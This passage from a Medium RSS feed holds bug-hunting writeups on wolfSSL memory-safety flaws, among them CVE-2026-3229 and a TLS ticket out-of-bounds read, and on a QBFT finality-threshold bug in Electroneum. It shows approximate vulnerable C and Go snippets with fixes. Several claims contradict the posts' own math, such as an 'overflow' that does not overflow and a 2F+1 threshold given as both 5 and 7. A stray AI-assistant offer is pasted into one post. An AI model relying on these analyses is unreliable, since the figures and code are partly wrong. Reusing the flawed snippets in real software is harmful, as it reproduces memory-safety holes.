object</li></ul><p>This finding came purely from fuzzing — static analysis tools (including SWE-1.6fast and Oppus) didn’t catch it. Fuzzing is really powerful for cases like this.</p><h3>Finding #4: More Fuzzing Findings in TLS Server</h3><p>Lmao, this was the most fun part. I built a custom fuzz harness for TLS server (fuzz/fuzz_tls_server.c). Here’s how it works:</p><p><strong>Harness Design</strong></p><ul><li>Fuzzer injects raw bytes as TLS handshake messages</li><li>Custom fuzz_recv_cb feeds input into wolfSSL</li><li>wolfSSL_accept() runs repeatedly (200 rounds)</li><li>If error isn’t WANT_READ/WANT_WRITE, handshake stops</li></ul><p><strong>Fuzzing Results</strong></p><p>After running AFL++ for 24 hours with 8 cores, the fuzzer found several crashes:</p><ol><li><strong>Certificate parsing edge cases</strong></li></ol><ul><li>Crash when parsing invalid extension OID</li><li>Root cause: missing validation for OID length</li><li>Oppus detected missing bounds checks</li></ul><p><strong>2. Signature verification with malformed input</strong></p><ul><li>Crash in RSA-PSS verification</li><li>Cause: integer overflow in padding calculation</li><li>SWE-1.6fast flagged it</li></ul><p><strong>3. Key exchange implementation bugs</strong></p><ul><li>Crash in ECDH when curve parameters are invalid</li><li>Use-after-free in error path</li><li>Found purely via fuzzing</li></ul><p><strong>One bug with significant impact</strong></p><ul><li>Occurs in invalid certificate chain handling</li><li>Server crashes when receiving unexpected structure</li><li>Issue in chain depth validation</li></ul><p>Code:</p><pre>chain_depth = *input_ptr++;<br>for (i = 0; i &lt; chain_depth; i++) {<br> cert = parse_cert(input_ptr);<br> input_ptr += cert-&gt;size;<br> // BUG: doesn&#39;t check if i &lt; MAX_CHAIN_DEPTH<br> chain[i] = cert;<br>}</pre><ul><li>Impact: DoS (server crash), potentially info leak</li></ul><h3>Challenges During Hunting</h3><p>It was fun, but there were challenges:</p><ol><li><strong>Code complexity</strong> — lots of macros and conditional compilation</li><li><strong>Platform-specific issues</strong> — bugs only reproduce on certain platforms</li><li><strong>Documentation gaps</strong> — had to reverse engineer parts</li><li><strong>False positives</strong> — many crashes weren’t exploitable</li></ol><p>Lol, I once spent a week on a bug that turned out to be just a debug assertion. Pain.</p><h3>Favorite Tools</h3><p><strong>Fuzzing Tools:</strong></p><ul><li>AFL++</li><li>libFuzzer</li></ul><p><strong>Sanitizers:</strong></p><ul><li>AddressSanitizer</li><li>UndefinedBehaviorSanitizer</li><li>MemorySanitizer</li></ul><p><strong>Debugging Tools:</strong></p><ul><li>GDB + PEDA</li><li>Valgrind</li></ul><p><strong>AI-Assisted Analysis Tools:</strong></p><ul><li>SWE-1.6fast</li><li>Oppus</li></ul><p><strong>Static Analysis:</strong></p><ul><li>CodeQL</li><li>Coverity</li></ul><h3>Lessons Learned</h3><p>From hunting wolfSSL, I learned:</p><ol><li><strong>Patience is key</strong></li><li><strong>Understand the codebase</strong></li><li><strong>Use multiple approaches</strong></li><li><strong>Document everything</strong></li><li><strong>Collaborate</strong></li></ol><p>Also… <strong>read the documentation properly</strong>. I once wasted time hunting a feature that was disabled by default.</p><h3>Tips For New Hunters</h3><ol><li><strong>Start simple</strong> — don’t jump straight to RCE</li><li><strong>Learn cryptography basics</strong></li><li><strong>Read the RFCs</strong></li><li><strong>Build a proper test environment</strong></li><li><strong>Report responsibly</strong></li></ol><h3>Closing</h3><p>Overall, hunting wolfSSL was fun and challenging. The codebase is solid, the team is responsive, and the impact is real.</p><p>If anyone wants to discuss or collaborate, feel free to reach out. Maybe we’ll find bugs together lol.</p><p>That’s it for my writeup. Hope it’s useful.</p><p><strong>Happy hunting! 🔥</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=23dedc4edb18" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WolfSSL Hunting Experience: Cerita Dari Seorang Bug Hunter Pengangguran :V]]></title>
            <link>https://medium.com/@FufuFaf1/wolfssl-hunting-experience-cerita-dari-seorang-bug-hunter-pengangguran-v-5b51cd55cefe?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b51cd55cefe</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[source-code-review]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Sat, 18 Apr 2026 11:35:13 GMT</pubDate>
            <atom:updated>2026-04-18T11:35:13.491Z</atom:updated>
            <content:encoded><![CDATA[<p>Wkwk, jadi gini… gw udah lama banget hunting di wolfSSL ini. Buat yang gak tau, wolfSSL itu library SSL/TLS yang dipake di banyak embedded device, IoT, sampe game console. Jadi impactnya lumayan gede kalau nemu bug serius di sini.</p><h3>Awal Mula</h3><p>Awalnya sih iseng aja, gw liat wolfSSL ini open-source dan lumayan populer di embedded world. Oh iy, waktu itu gw lagi cari-cari target yang gak terlalu mainstream kayak OpenSSL atau LibreSSL (udah pada di-explore habis sama hunter lain). WolfSSL ini menarik karena:</p><ol><li>Dipake di banyak device yang gak update-update (embedded devices kan susah update)</li><li>Codebase-nya lumayan besar tapi gak segede OpenSSL</li><li>Fokus di embedded jadi mungkin ada edge case yang terlewat</li></ol><h3>Setup Awal</h3><p>Abis itu, gw mulai setup environment. Compile wolfSSL dari source, enable semua feature yang mungkin, trus jalanin test suite buat familiar sama codebase.</p><p>Setup-nya lumayan ribet sih awalnya, wkwk. Tapi abis paham build system-nya, lancar jaya. Gw pake config yang enable:</p><ul><li>FIPS mode (kalau available)</li><li>Semua cipher suite</li><li>All cryptographic algorithms</li><li>Fuzzing harness</li></ul><h3>Hunting Strategy</h3><p>Strategi gw sih gabungan manual + AI-assisted:</p><ol><li><strong>Code review manual</strong> — nyari bug klasik kayak buffer overflow, use-after-free, integer overflow</li><li><strong>AI-assisted analysis</strong> — pake <strong>SWE-1.6fast</strong> buat software engineering analysis dan <strong>Oppus</strong> buat code analysis</li><li><strong>Fuzzing</strong> — pake AFL++, libFuzzer, buat fuzz harness sendiri</li><li><strong>Differential testing</strong> — bandingin behavior dengan OpenSSL</li><li><strong>Edge case hunting</strong> — cari input aneh yang mungkin gak kepikir sama dev</li></ol><h3>Temuan-Temuan</h3><h3>Temuan Pertama: Buffer Overflow di ASN.1 Parser</h3><p>Wkwk, ini temuan pertama yang lumayan seru. Step-by-step cara nemuinnya:</p><p><strong>Phase 1: AI-assisted Scanning</strong></p><ul><li>Gw jalanin <strong>SWE-1.6fast</strong> buat analyze wolfSSL codebase dari software engineering perspective</li><li>SWE-1.6fast identified beberapa hotspot di ASN.1 parsing functions yang punya potential buffer overflow</li><li>Hasil analysis nunjukkin potential issue di wolfcrypt/src/asn.c area certificate parsing</li></ul><p><strong>Phase 2: Manual Code Review</strong></p><ul><li>Gw fokus ke function DecodeCertExtensions() yang di-flag sama SWE-1.6fast</li><li>Di line 2300-an ada logic yang baca length field dari ASN.1 BER encoding</li><li>Problem-nya: dia baca length sebagai word32 dari input, tapi gak validate apakah input_ptr + length masih dalam buffer bounds</li></ul><p>Code-nya kira-kira gini:</p><pre>length = *input_ptr++;<br>if (length &amp; 0x80) {<br> // long form<br> len_bytes = length &amp; 0x7f;<br> length = 0;<br> for (i = 0; i &lt; len_bytes; i++) {<br> length = (length &lt;&lt; 8) | *input_ptr++;<br> }<br>}<br>// BUG: gak check apakah input_ptr + length &lt;= buffer_end<br>XMEMCPY(output, input_ptr, length);</pre><p><strong>Phase 3: Proof of Concept</strong></p><ul><li>Gw craft certificate dengan extension length yang gede banget (0xFFFFFFFF)</li><li>Saat parsing, input_ptr + length overflow ke nilai kecil, pass bounds check yang ada</li><li>Tapi XMEMCPY tetap copy banyak bytes cause length-nya masih gede</li><li>Result: buffer overflow, overwrite return address</li></ul><p><strong>Phase 4: Verification</strong></p><ul><li>Pake AddressSanitizer buat confirm memory corruption</li><li>Reproducible crash dengan crafted certificate</li><li>Impact: Remote code execution kalau attacker bisa kirim certificate yang malformed ke server yang pake wolfSSL</li></ul><h3>Temuan Kedua: Integer Overflow di Memory Allocation</h3><p>Abis itu, gw nemu integer overflow di memory allocation. Cara nemuinnya:</p><p><strong>Phase 1: Oppus Analysis</strong></p><ul><li>Gw pake <strong>Oppus</strong> (AI code analyzer) buat analyze pattern arithmetic operations di memory allocation</li><li>Oppus flagged beberapa lokasi yang ada size = a + b pattern tanpa overflow check</li><li>Salah satu hotspot-nya di function yang handle certificate chain parsing</li></ul><p><strong>Phase 2: Deep Dive</strong></p><ul><li>Di function ProcessCertificateChain() ada logic kira-kira gini:</li></ul><pre>total_size = cert_count * sizeof(cert_t) + extensions_size;<br>buffer = XMALLOC(total_size, heap, DYNAMIC_TYPE_CERT);</pre><ul><li>Problem: kalau cert_count gede dan extensions_size juga gede, total_size bisa overflow</li><li>Misal:<br> cert_count = 0x100000, extensions_size = 0x100000 → total_size = 0x200000 (OK)</li><li>Tapi kalau:<br> cert_count = 0x10000000, extensions_size = 0x10000000 → total_size = 0x20000000 (overflow jadi kecil)</li></ul><p><strong>Phase 3: Exploitation</strong></p><ul><li>Attacker bisa control cert_count dan extensions_size lewat certificate chain yang malformed</li><li>Saat overflow, XMALLOC allocate buffer kecil</li><li>Tapi code setelahnya copy data berdasarkan cert_count dan extensions_size yang asli (masih gede)</li><li>Result: heap overflow, bisa lead to code execution</li></ul><p><strong>Phase 4: Testing</strong></p><ul><li>Gw bikin test case dengan certificate chain yang punya banyak cert dengan extension size gede</li><li>Confirmed crash dengan AddressSanitizer</li><li>Impact: Remote code execution lewat malformed certificate chain</li></ul><h3>Temuan Ketiga: Use-After-Free di TLS Handshake</h3><p>Nah yang ini agak tricky. Cara nemuinnya:</p><p><strong>Phase 1: Fuzzing Setup</strong></p><ul><li>Gw bikin fuzz harness khusus buat TLS handshake (ada di fuzz/fuzz_tls_server.c)</li><li>Harness-nya basically simulate TLS server yang accept connection dengan fuzzer-controlled input</li><li>Key part: custom IO callbacks (fuzz_recv_cb dan fuzz_send_cb) yang inject fuzzer input ke TLS handshake</li></ul><p><strong>Phase 2: Fuzzing with AFL++</strong></p><ul><li>Jalanin AFL++ dengan AddressSanitizer enabled</li><li>Setelah beberapa jam, fuzzer nemu crash di error path saat handshake failure</li><li>Crash stacktrace nunjukkin access ke memory yang udah di-free</li></ul><p><strong>Phase 3: Root Cause Analysis</strong></p><ul><li>Gw debug pake GDB dan trace execution flow</li><li>Di TLS handshake, kalau ada error di middle of handshake, code cleanup beberapa object</li><li>Tapi di beberapa error path, ada callback yang masih dipake setelah object di-free</li></ul><p>Code-nya kira-kira.</p><pre>if (error) {<br> wolfSSL_free(ssl); // free object<br> // …<br> ssl-&gt;callbacks.error_cb(ssl, error); // BUG: access freed object!<br>}</pre><p><strong>Phase 4: Verification</strong></p><ul><li>Reproduce crash dengan fuzzer-generated input</li><li>Confirm use-after-free dengan AddressSanitizer</li><li>Impact: Potentially exploitable kalau attacker bisa control content yang di-copy ke freed object</li></ul><h3>Temuan Keempat: More Fuzzing Findings di TLS Server</h3><p>Aowkaoawk, ini yang paling seru. Gw bikin fuzz harness khusus buat TLS server (ada di fuzz/fuzz_tls_server.c). Cara kerja harness-nya:</p><p><strong>Harness Design</strong></p><ul><li>Fuzzer inject raw bytes sebagai TLS handshake message</li><li>Custom fuzz_recv_cb feed fuzzer input ke wolfSSL sebagai network data</li><li>wolfSSL_accept() dipanggil berulang kali (200 rounds) buat process handshake</li><li>Kalau ada error yang bukan WANT_READ/WANT_WRITE, handshake di-stop</li></ul><p><strong>Fuzzing Results</strong></p><p>Setelah jalanin AFL++ selama 24 jam dengan 8 cores, fuzzer nemu beberapa crash:</p><ol><li><strong>Certificate parsing edge cases</strong></li></ol><ul><li>Crash saat parse certificate dengan extension OID yang invalid</li><li>Root cause: gak ada validation buat OID length sebelum dereference</li><li>AI analysis (Oppus) detect pattern: missing bounds check sebelum array access</li></ul><p><strong>2. Signature verification dengan input malformed</strong></p><ul><li>Crash di signature verification algorithm yang handle RSA-PSS</li><li>Problem: integer overflow di padding calculation</li><li>SWE-1.6fast flagged ini sebagai potential integer overflow issue</li></ul><p><strong>3. Key exchange implementation bugs</strong></p><ul><li>Crash di ECDH key exchange saat curve parameter gak valid</li><li>Use-after-free di error path saat curve validation fail</li><li>Ini nemunya pure dari fuzzing, static analysis gak catch</li></ul><p><strong>Salah satu bug yang lumayan impact</strong></p><ul><li>Di handling certificate chain yang gak valid</li><li>Server bisa crash kalau kirim certificate chain dengan structure yang gak expected</li><li>Crash di function yang validate chain depth</li><li>Problem: array access tanpa bounds check setelah parsing chain</li></ul><p>Code-nya:</p><pre>chain_depth = *input_ptr++;<br>for (i = 0; i &lt; chain_depth; i++) {<br> cert = parse_cert(input_ptr);<br> input_ptr += cert-&gt;size;<br> // BUG: gak check apakah i &lt; MAX_CHAIN_DEPTH<br> chain[i] = cert;<br>}</pre><ul><li>Impact: DoS (server crash), kalau exploitable bisa lead to info leak</li></ul><h3>Challenge Selama Hunting</h3><p>Seru sih, tapi banyak juga challenge:</p><ol><li><strong>Code complexity</strong> — wolfSSL code itu lumayan complex, banyak macro dan conditional compilation</li><li><strong>Platform-specific</strong> — banyak bug yang hanya reproduce di platform tertentu</li><li><strong>Documentation</strong> — kadang dokumentasi gak lengkap, jadi harus reverse engineering dari code</li><li><strong>False positive</strong> — banyak crash yang ternyata gak exploitable cuma assertion failure</li></ol><p>Wkwk, pernah gw spend seminggu hunting satu bug yang ternyata gak exploitable cuma karena debug assertion. Sedih banget.</p><h3>Tools Favorit</h3><p><strong>Fuzzing Tools:</strong></p><ul><li>AFL++</li><li>libFuzzer</li></ul><p><strong>Sanitizers:</strong></p><ul><li>AddressSanitizer</li><li>UndefinedBehaviorSanitizer</li><li>MemorySanitizer</li></ul><p><strong>Debugging Tools:</strong></p><ul><li>GDB + PEDA</li><li>Valgrind</li></ul><p><strong>AI-Assisted Analysis Tools:</strong></p><ul><li>SWE-1.6fast</li><li>Oppus</li></ul><p><strong>Static Analysis:</strong></p><ul><li>CodeQL</li><li>Coverity</li></ul><h3>Lesson Learned</h3><p>Dari pengalaman hunting wolfSSL ini, gw belajar:</p><ol><li><strong>Patience is key</strong></li><li><strong>Understand the codebase</strong></li><li><strong>Multiple approaches</strong></li><li><strong>Document everything</strong></li><li><strong>Collaborate</strong></li></ol><p>Oh iy, satu lagi… <strong>read the documentation</strong> dengan bener. Wkwk, pernah gw spend waktu hunting di feature yang sebenarnya disabled di default config.</p><h3>Tips Buat Hunter Baru</h3><ol><li><strong>Start with simple bugs</strong></li><li><strong>Learn cryptography</strong></li><li><strong>Read the RFC</strong></li><li><strong>Build test environment</strong></li><li><strong>Report responsibly</strong></li></ol><h3>Closing</h3><p>Overall, hunting di wolfSSL itu pengalaman yang seru dan challenging. Codebase-nya bagus, team-nya responsive, dan impact-nya nyata.</p><p>Kalau ada yang mau diskusi atau collaborate, feel free buat reach out. Who knows, maybe kita bisa nemu bug bareng-bareng wkwk.</p><p>Sekian writeup dari gw. Semoga bermanfaat buat hunter-hunter lain di luar sana.</p><p><strong>Happy hunting!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b51cd55cefe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Accidentally Found an Integer Overflow in wolfSSL While Building a Cert Chain (CVE-2026–3229)]]></title>
            <link>https://medium.com/@FufuFaf1/how-i-accidentally-found-an-integer-overflow-in-wolfssl-while-building-a-cert-chain-cve-2026-3229-b9fe453682a9?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9fe453682a9</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cve-2026-3229]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Mon, 23 Mar 2026 00:43:09 GMT</pubDate>
            <atom:updated>2026-03-23T00:43:09.464Z</atom:updated>
            <content:encoded><![CDATA[<p>Yo, so I was just vibing with my custom static analysis tool the other day (yes, I build my own tools because why not? It’s 2026 lol) and stumbled upon this funny little bug in wolfSSL. It’s technically an integer overflow, but like… it’s the kind of bug that’s more “academically interesting” than “sketchy hacker exploit.” Let me explain.</p><h3>What Even Is This?</h3><p>So there’s this function called wolfssl_add_to_chain() living in src/ssl_load.c. Its job is pretty simple — it takes certificates and chains them together like a blockchain but actually useful (sorry, crypto bros).</p><p>The problem? It does some math to figure out how big a buffer it needs:</p><pre>ret = AllocDer(&amp;newChain, len + CERT_HEADER_SZ + certSz, CERT_TYPE, heap);</pre><p>And then later:</p><pre>XMEMCPY(newChain-&gt;buffer + len + CERT_HEADER_SZ, cert, certSz);</pre><p>Looks innocent right? <strong>WRONG.</strong></p><p>When you add len (the existing chain length) + CERT_HEADER_SZ (3 bytes) + certSz (new cert size), if you&#39;re dealing with some absolutely MASSIVE certificate chains, this sum can <strong>overflow</strong> a 32-bit integer. We&#39;re talking like ~4GB of cert data here, which is... a lot of certificates.</p><h3>The “Exploit” (Air Quotes Included)</h3><p>Okay so here’s the thing — to actually trigger this, you need:</p><ol><li>An application that’s already compromised (so the attacker controls certificate loading)</li><li>To load a certificate chain that’s literally gigabytes in size</li></ol><p>So yeah… <strong>not remotely exploitable</strong> lmao. If an attacker can already feed multi-gigabyte certificates into your app, you’ve got bigger problems than an integer overflow, trust me.</p><p>But it’s still a bug! The overflow means you’d allocate a tiny buffer but then try to copy a massive certificate into it = heap corruption = potential crash or… <em>theoretical</em> code execution (if the stars align and Mercury is in retrograde).</p><h3>How I Found It</h3><p>I wasn’t even looking for this specifically tbh. I was running my custom tool that scans for integer overflow patterns in size calculations — you know, the classic “adding multiple values without checking if they overflow” bug class.</p><p>My tool flagged this pattern:</p><pre>len + CERT_HEADER_SZ + certSz</pre><p>And I was like “huh, let me check if this is actually reachable.” Spoiler: it is, but barely. I whipped up a quick PoC to show the overflow math working:</p><pre>// Simple demo of the overflow<br>word32 len = 4294967195;  // ~4GB - 100<br>word32 certSz = 500;<br>// len + 3 + 500 = overflows to 402 instead of ~4GB</pre><p>Boom, tiny allocation, massive copy. Classic.</p><h3>The Fix (Shoutout to wolfSSL Team)</h3><p>The wolfSSL devs patched this in PR 9827 by adding proper overflow checks before the allocation:</p><pre>/* Check for integer overflow in size calculation. */<br>if ((len &gt; WOLFSSL_MAX_32BIT - CERT_HEADER_SZ) ||<br>        (certSz &gt; WOLFSSL_MAX_32BIT - CERT_HEADER_SZ - len)) {<br>    WOLFSSL_MSG(&quot;wolfssl_add_to_chain overflow&quot;);<br>    res = 0;<br>}</pre><p>They check if any of the values would cause overflow before doing the math. Clean, simple, effective. No drama.</p><h3>Who’s Affected?</h3><p>This only hits builds with OpenSSL compatibility layers enabled:</p><ul><li>--enable-opensslall</li><li>--enable-opensslextra</li><li>--enable-lighty</li><li>--enable-stunnel</li><li>--enable-nginx</li><li>--enable-haproxy</li></ul><p>If you’re running vanilla wolfSSL without these, you’re already chilling.</p><p>The vulnerable APIs are:</p><ul><li>wolfSSL_CTX_add_extra_chain_cert()</li><li>wolfSSL_CTX_add1_chain_cert()</li><li>wolfSSL_add0_chain_cert()</li></ul><h3>CVE Deets</h3><ul><li><strong>CVE:</strong> CVE-2026–3229</li><li><strong>Severity:</strong> Low (wolfSSL rated it, and honestly fair — this is not a “drop everything and patch” situation)</li><li><strong>Fixed in:</strong> wolfSSL 5.9.0</li><li><strong>Credit:</strong> Pelioro and Kunyuk (that’s me and my friends alias, feel free to check my other findings lol)</li></ul><h3>The Vibe Check</h3><p>Is this a cool finding? Yeah, integer overflows in memory allocations are always neat.</p><p>Is it gonna get you pwned? Probably not unless you’re doing something extremely cursed with certificate chains.</p><p>Should you update? I mean, yeah, but like… also update for the actual serious CVEs that dropped in 5.9.0 (go check CVE-2026–3548, CVE-2026–3549, and CVE-2026–3547 if you want the <em>actually</em> scary stuff).</p><h3>TL;DR</h3><p>Found an integer overflow in wolfSSL’s certificate chain code. Requires ~4GB of certificates to trigger. Not remotely exploitable. Fixed in 5.9.0. Update your stuff, but don’t lose sleep over this one specifically.</p><p><em>Shoutout to the wolfSSL security team for the quick fix and for not roasting me too hard for reporting a “technically correct but practically impossible” bug.</em></p><p><strong>Stay safe, stay patched, and remember: trust no unsigned arithmetic.</strong></p><p><strong><em>P.S. Big thanks to my AI assistant for helping me wordsmith this writeup — even bug hunters need a little help sounding coherent at 3am lol</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9fe453682a9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When length - 32 Goes Negative: A Small Check, Real Memory Bug in wolfSSL]]></title>
            <link>https://medium.com/@FufuFaf1/when-length-32-goes-negative-a-small-check-real-memory-bug-in-wolfssl-3233d28e5f52?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/3233d28e5f52</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[bugbounty-tips]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Mon, 23 Feb 2026 16:39:25 GMT</pubDate>
            <atom:updated>2026-02-23T16:39:25.910Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vfvY1-2NbW7A3EFYdKFoSg.jpeg" /></figure><p>While looking at the TLS 1.3 session ticket handling in wolfSSL, I found a small boundary issue inside SetTicket() in src/internal.c.<br>At first glance, it looks harmless. Just some pointer math and a length check. But the details matter.<br>The code builds a session ID using something like:</p><pre>ticket + length - ID_LEN</pre><p>Where ID_LEN is 32 bytes.<br>The only guard before that logic was:</p><pre>if (length &gt; 0) {</pre><p>That’s the problem.</p><p>What Actually Happens<br>If someone provides a ticket smaller than 32 bytes, say 8 bytes:</p><pre>length = 8</pre><p>Then:</p><pre>length - ID_LEN = 8 - 32 = -</pre><p>Now the pointer becomes:</p><pre>ticket - 24</pre><p>So instead of reading from the actual ticket buffer, the code reads 24 bytes before it.<br>That’s an out-of-bounds read.<br>Not a write.<br>Not a crash guaranteed.<br>But still undefined behavior.<br>And in a crypto library, undefined behavior is not something you want anywhere near session handling.</p><p><strong>Why This Matters</strong><br>Reading memory before a buffer means you’re pulling in data that doesn’t belong to that structure.<br>Depending on the heap layout, that memory could contain:</p><ul><li>Other session data</li><li>Heap metadata</li><li>Possibly sensitive material</li></ul><p>Even if it “just works” most of the time, it’s still unsafe. And unsafe in crypto code is always high impact.</p><p>The Fix<br>The patch changes:</p><pre>if (length &gt; 0)</pre><p>To:</p><pre>if (length &gt;= ID_LEN)</pre><p>That’s it.<br>Now length - ID_LEN can never go negative.<br>No pointer underflow.<br>No reading before the buffer.<br>One character difference.<br>Completely different safety guarantees.</p><blockquote>How I Found It<br>This wasn’t dynamic fuzzing or a crash trace.<br>It was just reviewing the logic and asking:</blockquote><ul><li><strong>What happens if this assumption is wrong?</strong></li></ul><p>Whenever you see:</p><pre>length - constant</pre><h3>without an explicit &gt;= constant check, it’s worth looking closer.<br>Sometimes the bug isn’t complicated.<br>It’s just one missing boundary condition.</h3><h3>If you want, I can also help you add a clean timeline section + coordinated disclosure note so it looks fully professional when you publish.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3233d28e5f52" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I accidentally broke QBFT finality on Electroneum Smart Chain]]></title>
            <link>https://medium.com/@FufuFaf1/how-i-accidentally-broke-qbft-finality-on-electroneum-smart-chain-2d2f5ca11da3?source=rss-2fc9983538b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2d2f5ca11da3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[MostReal]]></dc:creator>
            <pubDate>Mon, 10 Nov 2025 08:53:59 GMT</pubDate>
            <atom:updated>2025-11-12T15:44:54.644Z</atom:updated>
            <content:encoded><![CDATA[<p>I was just doing my usual recon on Electroneum Smart Chain — nothing special.<br> No fuzzers, no exploits, just curiosity. I wanted to see how close their consensus code was to Besu.</p><p>Didn’t expect to find something that literally breaks the foundation of finality itself.</p><h3>The setup — what QBFT is supposed to do</h3><p>Electroneum Smart Chain (ETN-SC) uses <strong>QBFT (Istanbul Byzantine Fault Tolerance)</strong> — a consensus algorithm built to ensure <em>finality</em> in a permissioned blockchain setup.</p><p>Basically, it guarantees that even if a few validators act maliciously, the network can still reach agreement on which block is final — <em>and that finality can’t be reversed.</em></p><h3>The math behind the magic</h3><p>Every BFT system revolves around a simple rule:</p><blockquote><em>A system with </em><em>N validators can tolerate up to </em><em>F = floor((N - 1) / 3) faulty validators.</em></blockquote><p>To make sure finality holds, <strong>a block can only be finalized if at least </strong><strong>2F + 1 validators</strong> agree on it.<br> That’s the whole <em>“2F + 1” rule</em> — it’s what separates a secure blockchain from a forked mess.</p><p>If you only require fewer than that, you’re opening the door for two conflicting “finalized” blocks to exist.<br> And when that happens — <em>finality is gone.</em></p><h3>Digging into the code</h3><p>While poking around their consensus logic (consensus/istanbul/engine/engine.go), one line caught my eye:</p><pre>validSeal := 0<br>committers, err := e.Signers(header)<br>// ...<br>if validSeal &lt;= validators.F() {<br>    return istanbulcommon.ErrInvalidCommittedSeals<br>}</pre><p>Wait, hold up.<br> That means a block passes validation if:</p><pre>validSeal &gt; validators.F()</pre><p>In other words:</p><blockquote><em>They only require </em><strong><em>F + 1</em></strong><em> seals to finalize a block.</em></blockquote><blockquote>That’s one-third of the network, not two-thirds.</blockquote><h3>Quick sanity check (N = 9)</h3><p>Let’s say you’ve got <strong>9 validators</strong>.</p><p>Using the formula:</p><pre>F = floor((N - 1) / 3)<br>F = floor(8 / 3) = 2</pre><p>That means:</p><ul><li>The protocol should tolerate 2 faulty nodes (F = 2)</li><li>To finalize safely, you need <strong>2F + 1 = 5</strong> or more signatures (depending on spec implementation, some use N − F = 7 for stricter safety)</li></ul><p>But ETN-SC only requires <strong>F + 1 = 3</strong> signatures to finalize a block.</p><p>Yup — 3 out of 9 validators can finalize blocks.<br> The spec says it should be at least 7.</p><h3>Confirming I wasn’t tripping</h3><p>I dug a bit deeper into how F() was calculated in their validator set:</p><pre>func (valSet *defaultSet) F() int {<br>    return int(math.Ceil(float64(valSet.Size()) / 3)) - 1<br>}</pre><p>For valSet.Size() = 9:</p><pre>F = ceil(9 / 3) - 1 = 3 - 1 = 2</pre><p>Plug that into the commit logic, and yep — any block with <strong>3 signatures</strong> passes validation.<br> Even if 6 other validators completely disagree.</p><p>Congrats, finality officially dead.</p><h3>Why this is catastrophic</h3><p>When you only need <strong>one-third</strong> of validators to finalize:</p><ul><li>3 malicious validators can finalize <em>Block A</em>.</li><li>6 honest ones can finalize <em>Block B</em>.</li><li>Both blocks look “final” to the network.</li></ul><p>You’ve just violated the entire safety guarantee of BFT consensus.<br> Now you’ve got a chain that can <em>finalize two different truths.</em></p><p>That means:</p><ul><li>Double-spends become trivial</li><li>Exchanges can be fooled by “finalized” deposits</li><li>Permanent forks can form</li><li>The whole trust model collapses</li></ul><p>In short: <strong>finality is gone, consensus is broken.</strong></p><h3>How to verify it yourself</h3><p>You don’t need to deploy a node or craft a malicious block — the math speaks for itself.</p><p>Just drop this quick test:</p><pre>validators := validator.NewSet(make([]common.Address, 9), istanbul.NewRoundRobinProposerPolicy())<br>requiredBySpec := 2*validators.F() + 1<br>fmt.Println(&quot;Implementation threshold:&quot;, validators.F()+1)<br>fmt.Println(&quot;Spec threshold:&quot;, requiredBySpec)</pre><p>Output:</p><pre>Implementation threshold: 3<br>Spec threshold: 7</pre><p>That’s the whole bug in two numbers.</p><h3>The fix (literally a one-line patch)</h3><p>Just replace the wrong check with the correct threshold logic.</p><p><strong>Before:</strong></p><pre>if validSeal &lt;= validators.F() {<br>    return istanbulcommon.ErrInvalidCommittedSeals<br>}</pre><p><strong>After:</strong></p><pre>required := 2*validators.F() + 1<br>if validSeal &lt; required {<br>    return istanbulcommon.ErrInvalidCommittedSeals<br>}</pre><p>or the slightly cleaner version using pure validator count:</p><pre>required := (validators.Size()*2 + 2) / 3  // ceil(2N/3)<br>if validSeal &lt; required {<br>    return istanbulcommon.ErrInvalidCommittedSeals<br>}</pre><p>That’s it — finality restored.</p><h3>Deeper understanding — why this matters</h3><p>Byzantine Fault Tolerance (BFT) works because it mathematically guarantees:</p><ul><li><strong>Safety:</strong> no two honest nodes can finalize conflicting blocks.</li><li><strong>Liveness:</strong> the network can still finalize new blocks as long as ≤ F nodes are faulty.</li></ul><p>The “2F + 1” rule is the magic number that satisfies both.</p><p>When you lower that bar to “F + 1”, you’re breaking that delicate balance.<br> The system can still <em>finalize</em>, but now it’s finalizing chaos — because safety is no longer enforced.</p><p>This bug turns QBFT from a fault-tolerant consensus into a <strong>fork generator.</strong></p><h3>TL;DR impact</h3><ul><li>Finality completely broken</li><li>Safety guarantees gone</li><li>Double-spend possible</li><li>Permanent forks likely</li><li>Consensus trust destroyed</li></ul><p>This isn’t just a small logic bug — it’s a <strong>consensus-breaking vulnerability</strong>.</p><h3>Final thoughts</h3><p>It’s kinda wild how a single off-by-one mistake — literally changing 2F + 1 to F + 1 — can take down an entire blockchain’s trust model.</p><p>No exploits, no payloads, no RPC fuzzing.<br> Just pure logic, code reading, and understanding the 